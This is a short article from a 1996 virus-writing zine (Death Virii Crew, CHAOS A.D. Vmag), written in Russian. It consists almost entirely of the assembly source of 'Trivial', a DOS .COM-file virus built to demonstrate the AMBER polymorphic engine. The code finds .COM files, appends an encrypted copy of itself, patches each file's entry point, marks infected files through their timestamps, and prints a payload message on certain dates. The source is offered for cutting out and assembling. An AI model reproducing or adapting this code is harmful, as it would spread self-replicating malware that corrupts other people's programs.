[Death Virii Crew] Presents CHAOS A.D. Vmag, Issue 2, Summer 1996 file 008 Пример использования AMBER. Trivial Этот .COM-нерезидент был написан исключительно для демонстрации AMBER. Trivial - это и есть Trivial. Что я еще могу к этому добавить ;))))) ;================================ резать тут ============================ .286 .model tiny .code org 100h start: call $+3 pop bp sub bp,3 mov cx,100 ; длинна DTA mov si,80h ; Начиная с 80h mov di,buf1 cld rep movsb ; Сохраняем DTA mov si,old3bytes-start add si,bp mov di,rest mov cx,3 cld rep movsb mov ah,4eh ; функция поиска первого файла find: mov cx,20h ; с атрибутом ARCHIVE mov dx,fmask-start ; и по маске только .COM файлы add dx,bp int 21h ; собственно само прерывание jnc @qw jmp quit @qw: cmp word ptr ds:[9ah],len ; по смещению 9ah - длинна найденной проги jb next1 ; если длинна эта меньше длины вируса то next cmp word ptr ds:[9ah],61000 ; а если она вдруг больше 61000 ja next1 ; то аналогичный результат mov al,byte ptr ds:[96h] and al,1fh cmp al,7 jz next1 ;---------------------------------- save time & data ------------------- mov si,__time-start add si,bp mov ax,ds:[96h] mov [si],ax mov ax,ds:[98h] mov [si+2],ax ;------------------------------------------------------------------------ mov ax,3d02h mov dx,9eh int 21h jc next xchg ax,bx mov ah,3fh mov cx,3 mov dx,old3bytes-start add dx,bp int 21h jc next mov si,dx cmp word ptr [ds:si],'MZ' ; А не является ли jz next ; эта прога случайно cmp word ptr [ds:si],'ZM' ; EXEшником (в начале ZM или MZ) jnz @a1 ; переименованым в COM ? next: ; мы встретили брата ? mov ah,3eh ; функция закрытия файла int 21h ; прерывание next1: mov ah,4fh ; функция поиска следующего jmp find ; и на поискать идем опять в начало @a1: mov ax,4202h ; функция перемещения pointer'a xor cx,cx ; смещение отступа xor dx,dx ; от конца = 0 int 21h ; прерывние jc next ; ошибки ? опять на поискать push bx mov bx,base mov ax,ds mov [bx.segsource],ax mov [bx.ofssource],bp mov [bx.lensource],len mov [bx.segcrypt],ax mov [bx.ofscrypt],buf mov ax,ds:[9ah] mov cx,ax sub cx,3 mov [bp+form-start+1],cx add ax,100h mov [bx.startIP],ax pusha call phantom popa mov cx,[bx.lencrypt] mov dx,buf pop bx mov ah,40h int 21h jc next mov ax,4200h ; функция перемещения pointer'a, теперь уже в начало проги xor cx,cx ; смещения от начала xor dx,dx ; равны 0 int 21h ; перемещаем jc next ; ошибки ? мы идем искать следующий mov ah,40h ; функция записи в файл mov dx,form-start add dx,bp mov cx,3 int 21h ; и записываем вирус в начало проги jc next ; ошибки ? ну вы знаете mov si,__time-start add si,bp mov cx,[si] and cl,0e0h add cl,7 mov dx,[si+2] mov ax,5701h int 21h jmp next quit: ; выход здесь ! mov di,80h mov si,buf1 mov cx,100 rep movsb ; Восстанавливаем DTA mov si,rest mov di,100h cld movsb movsw mov ah,2ah int 21h cmp dh,dl jnz idi mov dx,mess-start add dx,bp mov ah,9 int 21h idi: xor ax,ax xor bx,bx mov cx,0ffh mov bp,sp mov si,100h jmp si fmask db '*.com',0 ; маска файлов, которые мы будем искать mess db '[Trivial]',e old3bytes db 0cdh,20h,0 form db 0e9h,0,0 __time dd 0 e equ 0dh,0ah buf equ 0f000h ; буфер с которым мы работаем - высоко высоко buf1 equ buf-150 base equ buf1-50 rest equ base-4 include amber.asm len equ $-start ; длинна вируса end start ; это финал ;================================ резать тут ============================ (c) by Reminder [DVC]